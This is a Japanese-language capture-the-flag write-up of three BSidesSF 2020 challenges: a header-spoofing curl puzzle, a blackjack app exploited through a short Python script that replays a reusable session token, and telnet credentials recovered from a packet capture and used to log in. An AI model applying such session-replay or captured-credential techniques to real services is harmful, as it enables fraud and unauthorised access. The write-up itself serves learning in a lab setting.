2 月 24 日から 2 月 25 日にかけて開催された BSidesSF 2020 CTF に、チーム perfect blue として参加しました。最終的にチームで 11181 点を獲得し、順位は 1 点以上得点した 175 チーム中 1 位でした。うち、私は 4 問を解いて 940 点を入れました。
以下、私が解いた問題の write-up です。
You think you know your web?
https://hurdles-0afa81d6.challenges.bsidessf.net
(author: matir)
与えられた URL にアクセスしてみましょう。
$ curl https://hurdles-0afa81d6.challenges.bsidessf.net/
You'll be rewarded with a flag if you can make it over some /hurdles.
/hurdles
にアクセスしてみましょう。
$ curl https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles
I'm sorry, I was expecting the PUT Method.
PUT
メソッドでないとダメなようです。
$ curl https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles -X PUT
I'm sorry, Your path would be more exciting if it ended in !
パスが !
で終わっていないとダメなようです。/hurdles!
はダメなようですが /hurdles/!
ならどうでしょう。
$ curl https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles! -X PUT
You'll be rewarded with a flag if you can make it over some /hurdles.
$ curl https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles/! -X PUT
I'm sorry, Your URL did not ask to `get` the `flag` in its query string.
GET パラメータに何か仕込めばよいようです。get
と flag
がバッククォートで囲まれているので、get=flag
を付与してみましょう。
$ curl 'https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag' -X PUT
I'm sorry, I was looking for a parameter named &=&=&
今度は &=&=&
を GET パラメータに仕込めばよさそうですが、このままでは &
が GET パラメータの区切り文字として解釈されてしまいます。パーセントエンコードしてみましょう。
$ curl 'https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=test' -X PUT
I'm sorry, I expected '&=&=&' to equal '%00
'
&=&=&
が %00(改行)
と等しければよいようです。%
と改行文字をパーセントエンコードしましょう。
$ curl 'https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT
I'm sorry, Basically, I was expecting the username player.
Basically
と言っているので BASIC 認証でしょう。
$ curl 'https://player:test@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT
I'm sorry, Basically, I was expecting the password of the hex representation of the md5 of the string 'open sesame'
パスワードを open sesame
の MD5 ハッシュである 54ef36ec71201fdf9d1423fd26f97f6b
に変えましょう。
$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT
I'm sorry, I was expecting you to be using a 1337 Browser.
1337 Browser
というブラウザからアクセスしたことにすればよいようです。ユーザエージェントをいじりましょう。
$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser"
I'm sorry, I was expecting your browser version (v.XXXX) to be over 9000!
バージョン 9000
以降でないとダメなようです。
$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001"
I'm sorry, I was expecting this to be forwarded through 127.0.0.1
127.0.0.1
から転送されてきたように見せかければよさそうです。X-Forwarded-For
ヘッダを使いましょう。
$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 127.0.0.1,127.0.0.1"
I'm sorry, I was expecting the forwarding client to be 13.37.13.37
クライアントの IP アドレスが 13.37.13.37
でないとダメなようです。
$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1"
I'm sorry, I was expecting a Fortune Cookie
Fortune
という Cookie を付与すればよいのでしょう。
$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=test"
I'm sorry, I was expecting the cookie to contain the number of the HTTP Cookie (State Management Mechanism) RFC from 2011.
HTTP Cookie (State Management Mechanism) RFC
でググると RFC 6265
がそれだとわかりました。
$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265"
I'm sorry, I expect you to accept only plain text media (MIME) type.
プレーンテキストだけ受け付けるよう伝えればよさそうです。Accept
ヘッダでしょう。
$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept: text/plain"
I'm sorry, Я ожидал, что вы говорите по-русски.
今度はロシア語だけ受け付けるよう伝えればよさそうです。Accept-Language
ヘッダでしょう。
$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept: text/plain" -H "Accept-Language: ru"
I'm sorry, I was expecting to share resources with the origin https://ctf.bsidessf.net
取得元のオリジンが https://ctf.bsidessf.net
であるよう伝えればよさそうです。Origin
ヘッダでしょう。
$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept: text/plain" -H "Accept-Language: ru" -H "Origin: https://ctf.bsidessf.net"
I'm sorry, I was expecting you would be refered by https://ctf.bsidessf.net/challenges?
https://ctf.bsidessf.net/challenges
から訪問したよう見せかければよさそうです。Referer
ヘッダを使いましょう。
$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept: text/plain" -H "Accept-Language: ru" -H "Origin: https://ctf.bsidessf.net" -H "Referer: https://ctf.bsidessf.net/challenges"
Congratulations!
Congratulations!
と言われましたがフラグはどこでしょう。HTTP レスポンスヘッダを確認しましょう。
$ curl -I 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X P
UT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept: text/plain" -H "Accept-Language: ru" -H "Origin: https://ctf.bsidessf.net" -H "Referer: https://ctf.bsidessf.net/challenges"
HTTP/2 200
x-ctf-flag: CTF{I_have_been_expecting_U}
date: Tue, 25 Feb 2020 00:22:54 GMT
content-length: 16
content-type: text/plain; charset=utf-8
via: 1.1 google
alt-svc: clear
フラグが得られました。
CTF{I_have_been_expecting_U}
San Francisco has the occasional underground card room. Can you run the table in this game?
https://cards-d38741c8.challenges.bsidessf.net
(author: Matir)
ブラックジャックが遊べる Web アプリケーションのようです。
ルールによると、どうやら $1000 を原資に $100000 を稼ぐことができればフラグが得られるようです。また、賭け金は $10 から $500 までのようです。
実装を確認しましょう。
(function() {
var sessionState;
var config;
var allDisabled = false;
// Retrieve sessionState on load
$.post('/api', function(data) {
sessionState = JSON.parse(data);
updateSession();
});
︙
// Helper function to make requests
var makeRequest = function(method, data, success, failure) {
allDisabled = true;
updateButtons();
data['SecretState'] = sessionState['SecretState'];
var successHandler = function(result) {
sessionState = result;
if (success !== undefined)
success(sessionState);
};
var failureHandler = function(jqXHR, textStatus) {
if (textStatus == "error") {
var message = 'Unknown error';
try {
var body = JSON.parse(jqXHR.responseText);
if (body['error'] != undefined && body['error'] != '')
message = body['error'];
} catch(e) { }
showError(message);
} else if(textStatus == "timeout") {
showError('Network timeout, please try again.');
}
if (failure !== undefined)
failure(jqXHR, textStatus);
};
$.ajax('/api/'+method, {
contentType: 'application/json',
data: JSON.stringify(data),
dataType: 'json',
error: failureHandler,
success: successHandler,
method: 'POST',
});
};
︙
var updateSession = function() {
drawHands();
allDisabled = false;
$('#balanceAmount').text('$' + sessionState.Balance);
updateButtons();
$('#gameState').text(sessionState.GameState);
if (sessionState.Flag != undefined && sessionState.Flag != '') {
$('#flag-text').text(sessionState.Flag);
$('#flag').show();
}
};
︙
})();
data['SecretState'] = sessionState['SecretState'];
のような処理を見るにセッションの管理は SecretState
で行われているようです。これは /api
を叩くと発行される 16 進数の値で、ヒットやスタンドなど何らかの行動を起こすと新しいものが発行されるようです。
SecretState
を改ざんできないか試してみます。DevTools で updateSession()
など適当なところにブレークポイントを置いて、SecretState
の末尾 1 バイトを変更してからゲームを始めようとしたところ Bad Request
とサーバがエラーを返しました。
改ざんは (少なくともすぐには) できなさそうですが、再利用ならどうでしょう。その後の行動で負けて既に新しいものに更新されたはずの SecretState
を、先ほどと同じ方法で代入してゲームを始めてみたところ、負ける前と同じ所持金に戻りました。これなら、ゲームに負ければ次の SecretState
は負ける前のものを、勝てば新しく発行されたものを採用するということを繰り返せば所持金をどんどん増やすことができそうです。スクリプトを書きましょう。
import json
import requests
URL = 'https://cards-d38741c8.challenges.bsidessf.net/api'
state = requests.post(URL).json()['SecretState']
while True:
r = requests.post(URL + '/deal', data=json.dumps({
'Bet': 500,
'SecretState': state
})).json()
if r['GameState'] == 'Blackjack':
state = r['SecretState']
print(r)
実行します。
$ python3 solve.py
︙
{'SecretState': 'bedd4426960ec3ae9b3d07480e277ff97b550cb257888140983f47814360753c5fd78d237968c2d49ad20ef37a57cb60e08ec04808d6a9b8f046916b8865aa6254b413e1586be52f8aefb34f64c2436ff310ff5191376e98a62c784b5cbeff5f761ce5f7aa9f16e0617c76a75acfd32220b5b2f8932521c875c108d92402a4c54a640d9f33da21210e2a8e5a9592bd14a48b1c5147be101d720806bb2be02423a2f2b2628fddda783aa7501ad71d318a6b19491a73559bbeab8e02c5c0472023f51e150a9ecaf17e7153453d936c709ed56ad1216d0297b8c8784f94a223ab6ffac311a130776ff05390d9ceb1126f60411cad789aa867f7872e4887d0eeb2fc588b1156fb44f1fa31f9879270291224c37a11bc287cc455c04faef7d181b0291e56459a6cf7f89a37845647312d446c74c48632006e31bd50c01f022e8d8ae938f2cd8709399540e037d719d283e992566ec3e3d53268c0588419e60655b1fd87255084108b425c69bd012747db67d06a1e30c198049530d5bdc35ffeee129be6ecd5c30a38bfbdb7f88dd9be0a11a614ff42f58002e0a4b877900978ab6956f7bd015f14bf9e78f85ea06ad54b4f731d2f22da1e248fc55bb6984565d635f7549df3ae0f7dbce57a273630b7500af71816822fe2ba988ca07cd61300703400b685813fb653becb24e0cb433cf0c73745b1253f31250f78964115a95dbd9a852e25ba753be4d7cd6960c6392fb56ec6c41c7dd54e5fea1f57643aa2f24107e37f3d9cc2aae338f12ca668f1b35d0427fe1b96715b1429639547198cd5fcfdcd7c341937b2cb2d6c545678add3f683246cf2ce42f55d3c4cf84add352d7cc7e3452407974507cf9d0b0e6f75e7f082a54a0fa9916fda27433da88cc8d35d7b7dec87d7ce1e1e0266cab04f6c4c102e1c86778f46996463a9971d3d8b00146232b046896fa6d0a24a968e3e46ecde7a5b51f52566626a4a7cd214d2cfd47db463e6882f5479f2ed35e63fbb7ae35ce21353a9431c22e86c0f9bfed474556a7586401b3bc0ed35e55927caa1272d337625ea91c52b09f1d6ea65d3e341403fb8b4930febfb037083adfe02e8028051166149a05415e3a79e9efe21d31c323e480b25f46ebf29328cbd5a49eff06a7a92e569b0fb8a58ddf7f7a484d9f21819f426a4f30630302ebb6b8f33123b68b3e5eef9e3b1439d74a4f847588dbb8da4ae98767e74d6420ed7f124094805ba049b7f36b3345ef723bc9bfa4d46e8a6b50b3408f32c5bcf95a7f452238346482f2559c25baec8ae0b3648fcc9a34e5e6d050c1312c06db26aeb9215139c680274c78f54e2acb9988d6e848187b370f249797ba45297ac6154fd38414b9f6a078fc3033929bd974d806120d2bebb630717ee5386a4c12dcfd70d1c1e815bae0fe5c41c1105423a5d4014ca7e3402711ac142cde95a8eae3ce5abd7001e1b69fa002a04b7ad3a83808bfd239d684861524e87dd137a1889765571d8e9f21914f980071622ea3e1b4e61d6870dde8ab97688ba06921c61282f14ab4ddb9f8c24f269db7fdbc165d4a68b383873e1e0fc008c242c42b1baf0435d1cf430573fec0093f41362e37955adfef498343ef3f1aed2eaafcfe5b3c90891f78cca0d366efee21f3f1d204148578ece61a3f36020e33dfada41bf71401c758eaba7c6a9c56accef67df0c428f532e80979118370e776778bb27874d85b23b99950b2f73d219187dd665c496f1d16a3accfbfa35ba2e827ba4a205f944fe14b44cddfe58b9046e3ebc5ad79fcbf0374496f18c272b6d51', 'PlayerHand': [['Jack', 'Clubs'], ['King', 'Diamonds']], 'DealerHand': [['X', 'X'], ['8', 'Diamonds']], 'Balance': 100250, 'GameState': 'Playing', 'SessionState': 'Won', 'Bet': 500, 'Flag': 'CTF{time_travel_like_a_doctor}'}
しばらく待つとこのようにフラグが得られました。
CTF{time_travel_like_a_doctor}
Modern tunnels require old-school payloads!
bulls23-df80135a.challenges.bsidessf.net:8888
(author: itsC0rg1/mandatory)
添付ファイル: challenge.pcapng
与えられた pcapng ファイルを pcap に変換して NetworkMiner に投げると、次のような HTML が抽出できました。
<html>
<head>
<title>Telnet client using WebSockets</title>
<script src="include/util.js"></script>
<script src="include/websock.js"></script>
<script src="include/webutil.js"></script>
<script src="include/keysym.js"></script>
<script src="include/VT100.js"></script>
<script src="include/wstelnet.js"></script>
<!-- Uncomment to activate firebug lite -->
<!--
<script type='text/javascript'
src='http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'></script>
-->
</head>
<body>
Host: <input id='host' style='width:100'>
Port: <input id='port' style='width:50'>
Encrypt: <input id='encrypt' type='checkbox'>
<input id='connectButton' type='button' value='Connect' style='width:100px'
onclick="connect();">
<br><br>
<pre id="terminal"></pre>
<script>
var telnet;
︙
window.onload = function() {
console.log("onload");
var url = document.location.href;
$D('host').value = (url.match(/host=([^&#]*)/) || ['',''])[1];
$D('port').value = (url.match(/port=([^&#]*)/) || ['',''])[1];
telnet = Telnet('terminal', connected, disconnected);
}
</script>
</body>
</html>
Telnet over WebSocket 的なもののクライアントのようです。問題文で与えられていたホストとポート番号に HTTP でアクセスすると Server: WebSockify Python/3.6.9
という HTTP レスポンスヘッダを返すことから、このクライアントで接続すればよいのでしょう。やってみましょう。
Ubuntu 18.04.3 LTS
bulls23-5845b77bc5-5dcc6 login:
ログイン画面が表示されましたが、ユーザ名とパスワードがわからなければ何もできません。このクライアントを使った通信が、与えられた pcapng ファイルに記録されていないか、Wireshark で開いて websocket
というフィルターを適用してパケットを眺めます。unmask されたデータを見ていくと、以下のような入力が見つかりました。
michaeljordan
ib3atm0nstar5
前者がユーザ名、後者がパスワードでしょう。もう一度先ほどのように問題文で与えられたホストとポート番号にクライアントを使って接続し、これらを入力します。
Ubuntu 18.04.3 LTS
bulls23-5845b77bc5-bg2qq login: michaeljordan
Password:
Last login: Mon Feb 24 21:09:41 UTC 2020 from localhost on pts/0
Welcome, the key is CTF{TELNET_NO_LIES}
This account is currently not available.
フラグが得られました。
CTF{TELNET_NO_LIES}
Hack The __!
Planet